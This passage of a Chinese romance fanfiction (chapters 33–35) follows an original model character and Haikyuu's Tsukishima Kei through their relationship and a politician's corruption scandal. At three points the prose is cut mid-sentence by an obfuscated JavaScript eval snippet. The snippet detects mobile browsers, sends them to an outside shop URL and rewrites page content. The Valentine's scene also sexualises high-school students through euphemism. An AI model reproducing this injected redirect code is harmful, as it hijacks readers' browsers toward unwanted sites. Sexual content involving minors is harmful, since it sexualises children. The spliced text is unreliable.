他们都心知肚明，这是一场没有输赢的赌局。 * 这晚，月岛萤长草许久的的IG主页再次更新。 他本就不是个爱将生活分享在社交平台上的性格，别说自拍了、连合照都很少有。上一条还是大半年前打进春高时发的，只贴了几张排球部的集体照。 这次却高调得不符合人设。 不仅因为他上传的照片是一张亲密的情侣合照，还因为他的文案只有欠扁的两个字。 tsukishimakei： 「彼女。（图片）」 月岛萤按下发送键之后就再没有看手机，并不知道自己在网上掀起了怎样的惊涛骇浪。 他的互关里大都是排球选手，评论区的队形出奇地整齐划一。 泽村大地：「？」 菅原孝支：「？？」 田中龙之介：「？？？」 西谷夕：「？？？？」 赤苇京治：「？？？？？」 木兔光太郎：「？？？？？？」 黑尾铁朗：「？？？？？？？」 日向翔阳：「(OvO)？」 影山飞雄：「(- -;)」 清水洁子：「(0.0)」 谷地仁花：「\^O^/」 山口忠：「\^O^/」 * 周六的双人封面拍摄，人选改为了夏川西奈和黄濑凉太。 司机将夏川西奈送到拍摄场地，她踩着一双小牛皮从低调的黑色埃尔法上走下来。事务所的男性工作人员早就等候多时，一见到她就露出谄媚的笑脸、开始嘘寒问暖。 “西奈小姐，辛苦了。服装和化妆师都已经到位了，等会儿您有需要随时叫我就好。” 自小习惯了众星捧月的夏川西奈并不觉得有什么不对，尽管原定的拍摄人选是北里悠花、可这个社会向来都是弱肉强食。 她和北里悠花的关系不错，也发自内心把对方当成朋友。但如果涉及到个人利益问题，夏川西奈永远会毫不犹豫地选择自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663856|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己，这也是家族告诉她的生存法则。 父亲是财务大臣，这张身份牌让她畅通无阻。 交际圈全是名门之后，连这些所谓的“职场精英”都要巴结她。 “上次的拍摄反馈非常好呢。今天早上日向小姐已经和我打过招呼了，这次虽然是双人拍摄，但您不用紧张，按平常水平发挥就好了。” 看着面前还在滔滔不绝的工作人员，夏川西奈轻蔑地露出一个笑。 太明显也太假了，就差要把“麻烦在您父亲面前帮我美言几句”的目的说出口了。 她父亲哪有那么空，一个小蚂蚁的死活关他何事？ “知道了，麻烦你了。”夏川西奈强压下心中的厌恶情绪，维持着表面的礼节走进休息室。 夏川西奈其实对模特工作没有什么热情。 大小姐只是单纯闲着没事干，加上、她想让喜欢的人注意到自己。 入学典礼时她第一次见到了作为上届代表致辞的迹部学长，并对他一见钟情。 可即便她是财务大臣的女儿，在富可敌国的迹部财阀面前还是不值一提。无论怎么努力，迹部景吾身边总围绕着一群人，他连她这号人是谁都没有记住。 痛定思痛，夏川西奈某天无意间看到了杂志上的北里悠花。 少女在封面上露出灿烂而明媚的微笑，看着她的笑容、夏川西奈竟然无端被触动到了。 好治愈。 这是她想成为的样子，能感染所有看到的人。 如果自己也这样、是不是总有一天会能被那个人注意到？ 在便利店、在书店、在无孔不入的网络世界，只要她足够有名就好了。 加入事务所对夏川家来说并非难事，从小到大她主动求父亲的事情少之又少。虽然父亲奇怪她为什么突然要当艺人，但终究还是松口答应了她的请求。 于是最顶级的偶像事务所、最老练的经纪人、最重磅的资源都源源不断地送到她的手中，夏川西奈不费吹灰之力便成为了无数人梦寐以求的杂志模特。 那个原本北里悠花的位置也被自己替代。 她也想在某天、触动迹部景吾。 “竟然是夏川同学。” 黄濑凉太发现今天合作的对象变更，有些意料之外。 和北里悠花已经雷打不动合作双人封面好几年，却没有想到对方在今天被替换了。看来事务所已经把赌注全都压在这位夏川同学身上了，这该是有多强大的背景啊？ 一想到北里悠花心机算尽、每天假装小白花却还是敌不过真正的大小姐，就有些唏嘘。 “黄濑前辈，早上好。” 夏川西奈笑着和坐在休息室的黄濑凉太打招呼。 “我还以为今天会是小悠花来呢，真是有点意外。” “前辈说这话是不欢迎我吗？” “怎么会，我最欢迎可爱的后辈了。” 两人对话的火药味莫名有些浓。 “黄濑前辈和悠花前辈经常一起拍情侣封面，我之前还以为你们是情侣呢。不过黄濑前辈你连悠花前辈今天来不来都不知道，看样子果然是粉丝想太多了吧。” 听到这话，黄濑凉太眯了眯眼睛。 “这个可不好说。” 有什么不好说的？夏川西奈在心里吐槽道。 人家北里悠花都已经有男朋友了好吗？黄濑凉太还在自我感觉良好呢。 她和黄濑凉太的拍摄自然没有什么cp感。 两人站得距离很近、也尽可能做了一些有校园情侣感的互动姿势，可无论怎么摆都没有一点脸红心跳的感觉。 摄影师费了好大力气勉强选了一张合适的当作封面，尽管这样还是收到了许多读者的吐槽。 因此事务所不得不紧急发布公告，声称“北里悠花是因为身体不适缺席当期的双人封面拍摄”。 而最后可喜可贺的是，北里悠花因为这件事又保住了自己的封面工作。 33.33. 热恋期过于欢愉，如是熬走漫长的夏天、再一起度过掉满落叶的秋天。 北里悠花每天重复学习、复习、工作，而乌野也再次打入春高，月岛萤将在明年一月前往东京体育馆。 只是从恋爱到现在，北里悠花还是没去现场应援过。 对于没有兴趣了解的事物，即便场上的人是自己的男朋友、她也懒得多费神一分钟。 北里悠花总这样和月岛萤狡辩：“因为我是真的不太擅长排球嘛～萤君，你不会在意的吧。” 月岛萤不置可否。 他似乎从未指望自己能够改变北里悠花，也早就接受了她会一直这样烂下去。他对于北里悠花的喜欢并没有限制条件，不会因为她不来看比赛而改变什么。 所以别说吵架了、两人连矛盾和拌嘴都很少有。 北里悠花爱耍一些小脾气，月岛萤总能照单全收。仗着月岛萤的喜欢，北里悠花性格中的恶劣之处日渐显现。 比如某天北里悠花不小心弄坏了月岛萤最喜欢的银色耳机，他没怪她，只是默默买好一副新的，顺便又买了情侣款的粉色送给她。 修学旅行北里悠花突发奇想，要脱离大部队跑到山上看流星，即便觉得再无语月岛萤也依旧陪着去了，虽然最后没等到流星而两人被突如其来的大雨浇成了落汤鸡。 日常相处时，北里悠花总会小心避开和月岛萤讨论未来，月岛萤早就看出她打定了注意要离开宫城、而他也不在她的计划里，但依旧选择性进行无视。 他们总会在午间跑到乌野的天台，眺望很远的地方。北里悠花的目光总是停留在东京的朝向，说起大都市的繁华时眉飞色舞。 月岛萤更多时候会当一个安静的倾听者。 有时候实在觉得北里悠花话太多，他就戴起耳机闭上眼，靠在墙角休息。 具体放的是什么音乐也记不大清了，因为每次看月岛萤这副样子，北里悠花就会去软绵绵地亲吻他的嘴唇。 她终将会离他而去。 却又想让他的目光永远追随自己。 谁都没有戳破这个肥皂泡。 当日月更迭到恋爱五个月纪念日时，宫城难得下了场莹白的大雪。 恰巧在圣诞节前夕，整个城市都被赞歌洗礼、沐浴在一片平静祥和的氛围中。矗立在百货大楼广场前的圣诞树被装点完毕，片片雪花飘落在树梢上又融化。 北里悠花围着宽大的羊绒围巾，站在书店前。 呼吸时能团出白气，指尖都是冰冷的触觉。 今天的《每日新闻》刊登了醒目的头版，一时间驻足停留的人不止她一个。 是来自某议员办公室内部人员的爆料，称多个政.府要员的资金报告书中存在巨额空白，也就是所谓的收受个人回扣。但该指控尚且只是一段录音、还没有实质性证据，并未在主流媒体上掀起什么波浪。 北里悠花听见周围有人在议论，大多是些年长的人。 穿着西装的中年大叔看着报道，也不管这里不是吸烟点、就点燃一根香烟吐出烟圈。 男人们总爱对政.治高谈阔论，他不屑地在大街上发表自己的看法：“果然无论选谁当首相都一样，日本的政.治家、烂透了！。” 身旁又有人附和点头：“没想到又是这样，这些人还是赶紧下台吧。” “财务大臣也不知道是干什么吃的，每年都要爆出丑闻。” “……” 成年人们早就习惯了阳光之下隐藏着肮脏的阴影，对于腐败新闻司空见惯。 只是一起谈论了几句，就又四散开来。 赶向电车、写字楼、去拜访客户。普通人只是上层统治者的棋子，连抱怨的时间都少得可怜，就被迫投入碌碌的现实生活中去。 而与之相对的，是高中生们又到了放学时间。 他们的生活多姿多彩，谈论的话题都是恋爱烦恼和圣诞节怎么过。还未真正品尝到社会的险恶，也认为这些政.治家如何都与自己无关。 而北里悠花理解这些人为何愤怒，因为她自己现在也并不平静。 她的目光在花花绿绿的杂志区域停留许久，除了和黄濑凉太的双人刊之外、竟然再也没有第二本属于她的封面。那些夏川西奈的笑着的面孔有些碍眼，北里悠花感觉自己的心脏都在不正常地抽搐。 即便心里一遍又一遍地告诫过自己了——大小姐只是把模特当作消遣，只要忍耐就行了，忍到大小姐厌恶了、没兴趣了，那些原本属于她的资源又会再回来的。 可好像不是这样。 她能明显感受到事务所的冷淡。尽管她的各大平台还在正常更新，数据也不错，但她就是在被人们所遗忘。 这种遗忘并不是一瞬间的。 是每天慢慢模糊她的声音、样貌、名字，最后再完完全全被另一个人所替代。 可是她能怎么办呢？ 为什么要抢走她的东西？ 就因为她只是个普通人？ 北里悠花的长指甲无意间狠狠掐入掌心，疼痛感让她从混沌的思绪中清醒不少。她看向窗玻璃里的自己，少女戴着酒红色的贝雷帽、圣诞气息十足，可脸上的表情又是那样无措。 烦死了。 她远没有表面上装得那样云淡风轻，她其实嫉妒夏川西奈、嫉妒得不得了。 就算和大小姐成为所谓的好朋友，但本质上还是对方的垫脚石。 北里悠花自知这段关系没有多少真心，某些恶毒的念头一闪而过、很快又被她强压下去。 她往前走去。 月岛萤今天没有训练，他们约在一家洋食店见面。 既是共度纪念日、也算一起过圣诞了。 * 北里悠花推开店门时，月岛萤已经坐在位置上。 他今天穿着私服，驼色长款大衣被他挂在座位后、身上是一件看着就很温暖的白毛衣。 见到她出现，就放下了手机。 “这里。” “抱歉，刚刚路上有点事情耽搁了。”北里悠花脱下皮衣外套，对着手掌呼了口热气。 她每一次约会的装扮都精心挑选过，今天搭配贝雷帽的是一条针织连衣裙，即便面对严寒也能勇当光腿战士。 月岛萤见她过于轻薄的穿搭皱了皱眉：“不冷？” “我可不像萤君一样怕冷。”北里悠花深知月岛萤怕冷的弱点，最近每次出门月岛萤都全副武装、把头埋在围巾里。 但她偏偏喜欢恶作剧，在手冷时就故意往他脸上放。月岛萤只能把她的手塞进自己的外套口袋一起走，当然嘴上还会加一句“别闹了笨蛋”。 “想吃什么？” 接过菜单，北里悠花小小纠结了下：“唔，我要一份蘑菇奶油意面就好。” 两人都是少食派，吃饭都只是为了保证生命体征平稳。 北里悠花一整天都没怎么吃东西，将卡路里全部留到了现在。 等待上菜的间隙的话题基本都由她开启。 “过几天元旦的时候我们一起去神社新年参拜吗？” “好，到时候我去接你。” “嘿嘿，还以为你要和排球部的大家去呢。” “他们都知道我要陪你。” 月岛萤最擅长用淡淡的语气说情话，他的头发微微长了些、卷曲的弧度有些盖住额头。 “待会儿去我家陪我打游戏吧~” “只要你不耍赖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她期待有人能像男主角一样从天而降，手捧玫瑰花给她带来盛大的表白。恋爱的每天都该是轰轰烈烈、至死方休的，可好像跟月岛萤在一起后她再也没想过这些烂俗戏码。 她能感到他温暖的呼吸，她忍不住想要伸手抱住他。 好奇怪，明明是如此平凡的一个晚上，她却有点想哭。 月岛萤对她太好了。 而她好像真的对月岛萤不太好。 恋爱的开始也是结束的开始。 北里悠花鼻子发酸，难得良心发现。 “你为什么要对我那么好。” 她鼻音有些重，说出的话叫人摸不着头脑。 为什么要对我那么好。 明明我每天都在对你耍小脾气、提出那么多无理的请求，还从来没有来看你比赛过。 明明你都知道我以后也没有打算留在你身边啊…… 北里悠花并不觉得有人可以为她做到这个地步。 连家人都不能许诺永远，更何况是恋人呢？ “没有为什么。” 但对月岛萤来说，对她好只是一件再当然不过的事情。 他没有权衡过利弊，只是顺应了自己当下的心情。 他越是这样对她好，北里悠花越想哭、于是眼眶里不知何时就盈满了泪花。 “哭什么。”看着北里悠花莫名其妙掉下的眼泪，月岛萤只能伸手去抹掉她的泪珠。 这是北里悠花第二次在他面前哭。 月岛萤一看到北里悠花哭，就有些烦躁。 “哪有那么多为什么啊。”他叹了口气。 “除了喜欢，还能是因为什么。” 月岛萤很少将“喜欢”直接宣之于口，他别扭于直接表达感情。 但今晚他还是说了。 他总是拿北里悠花没办法。 34.34. 那天北里悠花一到家就困得不行、约定好的电动游戏当然也没玩。 见她鞋子一脱就准备晕厥在沙发上，月岛萤只能拉起北里悠花去卸妆洗漱，又去卧室找到她的睡裙和浴巾放在浴室门口，直到听见水声响起才放心回家。 月岛萤对节日没有具象化的概念。 和北里悠花恋爱之后，他才知道原来每个特殊的日子都值得庆祝。 北里悠花有无数种度过纪念日的方法。 恋爱第一个月他们去做了情侣戒指、第二个月在水族馆和海绵宝宝的朋友们合照、第三个月悠花大厨再次重出江湖复刻了小蛋糕、第四个月登上城市的最高处眺望夜景。 月岛萤给北里悠花挑选的圣诞礼物是蒂芙尼的微笑项链。 北里悠花会按时追踪各大奢侈品的最新动向，偶尔也会说出“好羡慕有钱人”之类的话来。她在吃上节省下的钱都花在了外貌管理上，有没有logo对她来说差别很大。 路过门店时、不知为何想到了她和黄濑凉太的同款土星项链，就鬼使神差地走了进去。 比起廉价的金属，还是真正的白金更适合北里悠花。 好在月岛萤从小就攒下了丰厚的零用钱，不至于捉襟见肘。 Sales一见到他就热情地介绍起产品，在得知他是来给女朋友挑选礼物后推荐了这款项链。 “这个系列的项链寓意着无限可能的爱。” 多么老套的话术。 奢侈品哄骗消费者时，永远喜欢编织一个难以实现的童话故事。 直到提着礼品袋走出门店，月岛萤才意识到自己也是个无药可救的单细胞生物。 * 十二月三十一日，岁末。 零点前的十五分钟，他们互通了电话。 电视里的红白歌会来到了最后环节，人气嘉宾们站在台上喜气洋洋、齐唱《萤之光》。 “萤君在看红白歌会吗？” “嗯，刚刚陪家里人在看，现在上楼了。” 北里悠花于是也跟着电视里的旋律，轻轻哼唱起“蛍の光、窓の雪。” 其实她唱歌没什么天赋，只能说算不上五音不全，能根据歌词听出是哪首歌。 “我前几年经常对着神明许愿哦，希望能有个又高又聪明的帅哥爱上我，今年神明终于听到我的愿望啦。” “你不止许了这个愿吧？” 月岛萤拆穿她的小心思。 “嘻嘻，还希望能莫名其妙中一亿日元、重生之我是世界首富失散多年的女儿、怎么吃都不会胖……” 北里悠花又开始列举一系列不切实际的幻想。 大晦日的除夕之钟敲响之时，零点到了。 “但是，萤君就像是神明大人送给我的礼物呢。” 她对着电话说。 “新年快乐呀。” “新年快乐，悠花。” “新的一年我也最喜欢你啦～” “我也是，明天见。” * 一月一日，元旦参拜。 地上已经积了一层很厚的雪，雪地靴陷在松软的新雪里、留下深色的印记。 没有狐狸面具的北里悠花，选择欲盖弥彰地戴上口罩和框架眼镜。 参拜的人很多，殿前排起了长队。 轮到他们时积雪已经被升起的太阳融化了许多。 他们将五日元投入木箱，摇响系着铃铛的粗绳，鞠躬、合掌拍手，虔诚地祈愿神明能在新的一年里驱散厄运、带来平安顺遂。 北里悠花偷偷看了身边的月岛萤一眼。 今年大概也会是个好年。 * 一月三日，月岛萤动身前往东京参加春高。 北里悠花在神社求的平安御守被他挂在了包上，和白色小熊挂件一起。 * 一月五日，春高首日。 北里悠花在手机上收看了开幕式直播，月岛萤的金毛在一片黑压压的脑袋中很是显眼。 他看起来并不紧张，背手在后、一副反派登场的模样。 她截图下来发给月岛萤，夸张地进行赞美。 Yuuka： 「看到你啦，帅帅的很安心！」 「（图片）」 「今天比赛加油哦^*^」 本来打算强撑着困意看完乌野首战，但果然开场没几分钟北里悠花就抱着手机进入梦乡。 * 一月六日，春高第二日。 乌野首战胜利，进入第二轮比赛。 月岛萤应该累得不轻，昨晚北里悠花发去的应援讯息只得到了简短的回复、连电话都没有力气打来。 今早月岛萤报备行程时难得配了个表情包，可见体力消耗之大。 K君： 「现在出发去比赛了。」 Yuuka： 「今天也加油哦～」 K君： 「（小熊晕倒）」 * 一月七日，春高第三日。 乌野高校止步于十六强。 西谷夕、田中龙之介、缘下力、木下久志、成田和仁，正式结束了高中生涯的所有比赛。 最后一球落地时，所有人陷入了巨大的恍惚之中，久久没有动作。 直到西谷夕伸展了下身体，问旁边的田中龙之介晚饭打算吃什么；木下久志和成田和仁相视一笑，说今天也是一场精彩的比赛；缘下力若无其事地拍了拍手，喊大家列队敬礼。 三年级的前辈们就这样开始说笑、和过去的每一天一样插科打诨，仿佛输掉的只是一场再平常不过的训练赛。 但他们的眼眶通红，一看就是在苦苦忍耐。 看着这个场景，也不知道是哪个学弟先掉下的眼泪。 一群男生就这样哭得眼泪鼻涕都冒了出来。 * 二月十四日，情人节。 北里悠花斥巨资购买了一堆义理巧克力，分发给班上的所有人。 女生是牛奶巧克力、男生是抹茶巧克力。 “悠花女神，我们永远是您的死忠粉！” “谢谢悠花酱，我第一次在情人节收到巧克力诶～” “阿里嘎多北里同学！！！” 佐佐木及一众男同学收到后感激得不行，总算有一年的情人节巧克力数量不是“永远的零”了。 而星野杏和村上由奈悄悄问她今年有没有送出本命巧克力，被她含糊其辞地带过。 北里悠花的本命巧克力当然属于月岛萤。 可月岛萤不愧是个池面，即便大家都知道他有个神秘女友存在，收到的巧克力也塞满了桌肚和储物柜。 观察了一天的北里悠花有些吃醋，所以故意没将包里的悠花牌手作本命巧克力送出去。 直到放学、她才把月岛萤哄骗回家。 “所以我的巧克力呢？” 一进门，月岛萤就意识到事情并不简单。 北里悠花踮脚亲吻他的嘴唇。 “今天我的唇膏是草莓巧克力味的。” “你要尝尝嘛？” 这次比以往都激烈一些。 北里悠花被月岛萤抱起到沙发，突然一下子失去支撑点，她整个人跨.坐在他的大腿上。 这样子坐的话……好像过于糟糕了。 稍一动弹，就不小心触碰到某个不属于自己的、灼热的、存在感极强的东西，北里悠花终于感到有些害怕。 她挪动身体想要逃离，却被月岛萤牢牢固定在原地不能动弹。 月岛萤摘掉眼镜，有耐心地将礼物的包装纸一层层剥开、展露出甜蜜如棉花糖般柔软洁白的內馅。 他的用餐礼仪极好、就连品尝棉花糖时也并不着急。舌.头很灵活、先慢慢从上到下融化棉花糖，再轻轻转动舌忝咬几下。用手指一戳，棉花糖就会顺从地留下一个坑、回弹至掌心。 可是暴露在空气中久了，蓬松的糖丝开始塌陷、无助地粘连在一起，变得十分狼狈。 “唔……” “别咬那里……” 眼前的场景过于羞耻。 北里悠花只能选择抱住月岛萤的脖子，闭上了眼睛。 但失去视觉后，其他的感官反而更加清晰。 制服裙像花瓣一样散开，月岛萤感受到棉花糖融化在了他的裤子上、留下湿润的糖水。他尝到了甜头，更加恶劣地去亲吻北里悠花。 又在她的耳边说： “这是悠花给我的礼物吗？” “我很喜欢。” 副攻手的手指也很灵活。 北里悠花的脑袋逐渐一片空白。 那天晚上月岛萤的IG又更新了。 tsukishimakei： 「（图片）」 他只上传了一张照片，是北里悠花送给他的本命巧克力。 确实是他最喜欢的草莓味。 * 三月一日，乌野高校卒业式。 又是樱花烂漫的季节，排球部的大家在校门和球馆里留下了大合照。 * 四月初始，月岛萤和北里悠花正式成为了三年级生。 这天的书店门口又聚集了好多人，对着《每日新闻》新鲜出炉的头版意见不一。 路过时北里悠花看了一眼，好像是相关人员提交了官员腐败的关键性证据，政.府内部已经开始着手调查。 这几个月她的工作量骤减，日向小姐传来消息让她「作为备考生专注学习」。 她不再将目光投向杂志区域，只是依旧勤勤恳恳地更新自己的视频。最近粉丝Q&A和她的日常妆容视频大获成功，频道的订阅人次终于迈过了十万人次大关。 北里悠花刻意减少了和夏川西奈的联系，她想自己果然不是个大度的人。 * 五月，作为受验生、月岛萤除了排球部的日常训练外，还需要在空余时间去私塾补课。 他的目标是仙台地区的国立名校东北大学，第一志愿是历史学。 两人的见面时间减少许多，但好在并不影响感情。 北里悠花喜欢粘着月岛萤问“萤君到底什么时候才和我真的贴贴”，然后被月岛萤无情地冷着脸推开。 对于真正做到最后一步月岛萤总是留有余地，每次亲密时他的动作都极尽珍惜。 北里悠花是他的宝物。 和模型一样，需要小心翼翼地一点点探索、试错，才能拼凑出最完美的形状。 相比月岛萤，北里悠花反而没有那么忙碌。 只要能回到东京随便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683926|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上所大学的艺术学部就好、就算是短大也无所谓，有一定名气的艺人在入学面试时会有一定的优势，基本的入学笔试北里悠花还算有信心。 毕竟她有优秀的家庭教师在。 * 六月，IH预选赛。 这一年的乌野高校在宫城县预选赛就败退。 而今年的KANSAI COLLECTION，并没有邀请北里悠花参加。 似乎在夏天，他们总是差了一点运气。 * 七月，恋爱一周年纪念日。 北里悠花对于“人生中有完整的一年是和月岛萤一起度过的”这件事感到无比神奇。 Yuukanokkun： 「K君，一周年快乐啦（图片）」 她在IG小号上传了纪念日合照。 一年下来，北里悠花记录下的恋爱日常实在太多、根本翻不到头。从网络世界也能看出，她有在被人好好爱着，每一张照片都充满了幸福笑容。 当然小号的粉丝还是只有月岛萤一个人。 * 八月，夏日祭。 月岛萤果然信守承诺，他们第二年也一起去了夏日祭。 今年的花火比去年还要盛大一些，人群中、小情侣撞见了田中龙之介和清水洁子，两人好像是单独出来的。 吃到了大瓜的北里悠花兴奋地抓着月岛萤的手臂。 月岛萤今年给她买的面具是红色的达摩，又丑又搞笑、被北里悠花吐槽了好久。 今年北里悠花终于捞上了一条黑色金鱼，只可惜在带回家的第二天就奄奄一息离她而去。 * 九月二十七日，月岛萤的十八岁生日。 谷地仁花作为球队经理，提前一周就和山口忠商量好了、要给月岛萤办一个“惊喜派对”。 只是一群排球笨蛋思来想去许久，依旧没决定以何种形式给出惊喜。 最后还是最熟知幼驯染性格的山口忠作出决定—— 在月岛萤推开排球馆门的一瞬间拉响礼花筒、所有部员再一起给他唱首生日快乐歌。 好吧，真是个老土又真诚过头的生日惊喜。 于是当天放学时外边下起了太阳雨，温柔的雨点与午后的阳光共舞、如玻璃珠般折射出漂亮到不可思议的五彩光芒。 惊喜的主人公终于到来。 月岛萤站在排球馆外，看着紧闭的球馆大门顿感好笑。 以往的这个时候日向打球的声音已经响彻球馆了，今天不但听不到一点响动、大门还可疑地关上了，他用脚趾头想都知道那群人在想什么。 肯定是要给他生日惊喜吧。 他摇了摇头、按下门把手。 于是推开门的一瞬间—— “阿月、生日快乐！” “月岛生日快乐——！” “月岛前辈生日快乐！！！” “Surprise！！！” “……” 青春期的少年们热情过了头，整个体育馆都被这样的气氛所感染。 不知谁借来了音响，所有人都一齐给他唱着生日快乐歌。 “Happy birthday to you，Happy birthday to you~” “Happy birthday to Tsukishima，Happy birthday to you~” 面对这样的惊喜月岛萤似乎不为所动，只是在看着一群五音不全的人为他唱歌时忍不住开口吐槽： “竟然没有一句在调上。” 但可以肯定的是，他是幸福的。 透过镜片，月岛萤原本的表情微微舒展开来、带着浅淡的笑意。应该是被眼前的这群笨蛋打败了，他叹了口气、最后在众人的祝福声中被强制戴上了一顶生日帽，并且吹灭了生日蛋糕上的蜡烛。 顺带一提，蛋糕是乌养教练友情赞助的。 而另一边，北里悠花精心挑选的生日礼物是一副新眼镜。 既特别、又能让月岛萤每天使用。 虽然平时月岛萤戴着的眼镜就很禁欲、还有一点Hot Nerd感，但偶尔北里悠花也想看他戴那种涩谷潮男爱戴的复古眼镜。 所以她就挑选了一副更加大的黑色粗框、线条比之前的稍微圆润点。 结束部活的月岛萤在收到礼物后，就被北里悠花勒令戴上新眼镜。 换了眼镜的月岛萤简直比她的模特同事们还要帅气，北里悠花感觉自己一下子拥有了两个男朋友、都快要笑得合不拢嘴。 她连忙拉着月岛萤拍了好多照片，又开心地亲了他好多口。 “以后和我约会时都要戴我买的眼镜！” “好。” “那、十八岁的萤君有什么需要我实现的愿望嘛？” 月岛萤沉默片刻，看向北里悠花的双眼。 “已经实现了。” 她在他身边，就很好。 Yuukanokkun： 「生日快乐K君，大好きだよ（图片）」 * 十一月底，北里悠花收到了黄濑凉太的LINE。 KiseRyota☆： 「小悠花，你看新闻了吗？」 35.35. 「一只蝴蝶在巴西轻轻扇动翅膀，可能会在几周后导致美国德克萨斯州的一场龙卷风。」 人们将其称为“蝴蝶效应”。 * 那些足以震动政坛的爆炸性丑闻，往往在一个风平浪静的夜晚悄然出现。 KiseRyota☆： 「小悠花，你看新闻了吗？」 「（链接）」 黄濑凉太发来的是一个新闻链接。 撇开他会关注新闻这件事不谈，标题本身起得十分惹眼： ——《政.治筹款派对收入数亿，财务大臣等阁僚亦涉及》。 近期随着调查深入，各大媒体作为先锋派直接点名几位内阁核心成员收受巨额回扣。 议员们利用自己的人脉关系，在各派系间举办政治筹款派对，并出售票面金额为2万円的派对入场券。入场券的购买人群，均是有求于政府的企业或个人、甚至一度到了一票难求的地步。 尽管派系规定了票面金额，但入场券通常会以高出十几倍的价格售出。 而超出的部分，即是“回扣”。 这部分的钱会秘密返还给议员，作为个人的政治资金。 这场平成年间最大筹款派对，是整个内阁自上而下的系统性腐败、牵涉的要员数不胜数。 而它的幕后组织者，便是如今的财务大臣、夏川大臣。 事件不断发酵，媒体上几乎每天都有关于此事的头条新闻。 在长期的舆论施压、人事动荡和社会问责下，前几天夏川大臣终于出席记者会、对着长枪大炮九十度鞠躬致歉，并正式引咎辞职。 至此、夏川家彻底倒台。 这当然不是黄濑凉太转发给北里悠花看的目的。 在北里悠花看完这条新闻的同时，对方又转发了一个新的论坛帖过来，这次的标题更加夸张。 ——Hot！《818夏川家不为人知的那些事》。 比起政治、更关心私生活的网友们正在乐此不疲地进行八卦，回帖数量已经超过几百楼。 北里悠花惊讶地睁大了眼。 * 1楼「夏川家终于倒台了，可喜可贺！这些年都收了多少回扣了，我工作一年都没有五百万円啊岂可修！」 2楼「话说这个夏川大臣的私生活也不怎么干净吧，情妇和私生子都好几个了，据说还是歌舞伎町的常客23333」 7楼「社会的蛀虫！！！西内！！！」 15楼「私生子？我记得夏川大臣是有女儿的吧，前几年曝出过新闻，好像是和原配结婚之后生的。」 20楼「+1，我也看到过他女儿的新闻。」 24楼「之前有狗仔拍到过他女儿照片（图片）」 26楼「不愧是万能的网友，他女儿倒是挺好看的。」 35楼「没人觉得他女儿很眼熟吗？」 55楼「这不是最近很火的那个少女杂志模特吗？？叫夏川西奈来着。」 56楼「这样一看真的很像啊，姓氏都一样！！！」 100楼「笑死，这些有钱人塞关系户进去的时候都不改名字的吗。」 136楼「果然是关系户啊，之前一点模特经验都没有。纯新人就空降去KANSAI COLLECTION走秀，最近杂志的封面都是她吧？」 138楼「夏川西奈是我同学欸，我是冰帝的。」 139楼「她平时人怎么样？」 140楼「穿的都是大牌啦，你们懂的，眼睛长在头顶上、聚酯纤维会让她过敏~」 …… * 虽然早就猜到夏川西奈出身名门，但北里悠花从未想到夏川西奈竟然就是这位夏川大臣的亲生女儿。 怪不得、怪不得。 那些困扰的北里悠花疑惑终于解开。 为什么事务所的所有人都围着她团团转、为什么作为新人却享有最顶级的资源、为什么她可以轻而易举地替换自己…… 原因很简单不是吗？ 因为夏川西奈是财务大臣与原配留下来的高贵独生女、是永远都有人兜底的大小姐，跟她们这些“庶民”不一样，想进演艺圈只需要父亲的一句话就行。 KiseRyota☆： 「呜哇，真没想到夏川同学那么深藏不露，这也太可怕了QAQ也不知道事情后续会怎么发展。」 Yuuka： 「是呀，希望西奈她没事就好了。」 看着网友的言辞愈发恶劣，而北里悠花心里竟然闪过一丝微妙的快感。 对不起西奈，但我也是受害者。 所以请你允许我小小开心一下吧。 * 事务所的公关团队应对迅速。 在夏川西奈的真实身份被扒出后的第二天，就拿出一纸律师函正式宣布已经和对方解约，顺带诚恳地向公众道歉、假模假样地开除了一个替罪羊高层。 这位前阵子还风光无限的新人模特，就这样以闹剧形式草草收尾。 大概是因为替代品没了，北里悠花又恢复了往日的工作量、开始往返东京进行拍摄。 工作一充实，她也没有多余的精力关注网上的舆论。 于是在北里悠花不知道的角落，那个论坛帖还在以惊人的速度增长回复。 351楼「我几年前去歌舞伎町碰到他过本人，当时和他正好在一家店，旁边还跟了两个保镖。」 352楼「无图无真相。」 353楼「（图片）上图！那天正好是店里头牌生日，他应该是来支持业绩的，还送了一个爱马仕铂金包给她、这个死老头！」 354楼「wok这个包配货就要几百万円了吧，可见贪了多少钱。」 355楼「这图也太糊了吧，昭和画质orz」 370楼「歪个楼，那个女公关长得好看吗？」 372楼「以前在歌舞伎町很有名的，放张图你们感受下（图片）」 375楼「好漂亮！求名字，求具体信息！」 376楼「女公关都是花名，当时她叫Emily，现在已经隐退了。」 501楼「Emily啊，我知道她，听说以前是贵妇、老公破产跳楼之后就来做风俗了。估计现在都四十了吧，呵呵。」 505楼「楼上的求深扒！」 512楼「Emily旧姓北里，我女儿和她女儿一个国小的，Emily老公就是在他们女儿国小一年级的时候跳的楼。之后就没什么消息了，也是蛮惨的。」 520楼「醒醒吧，一个风俗女有什么好可怜 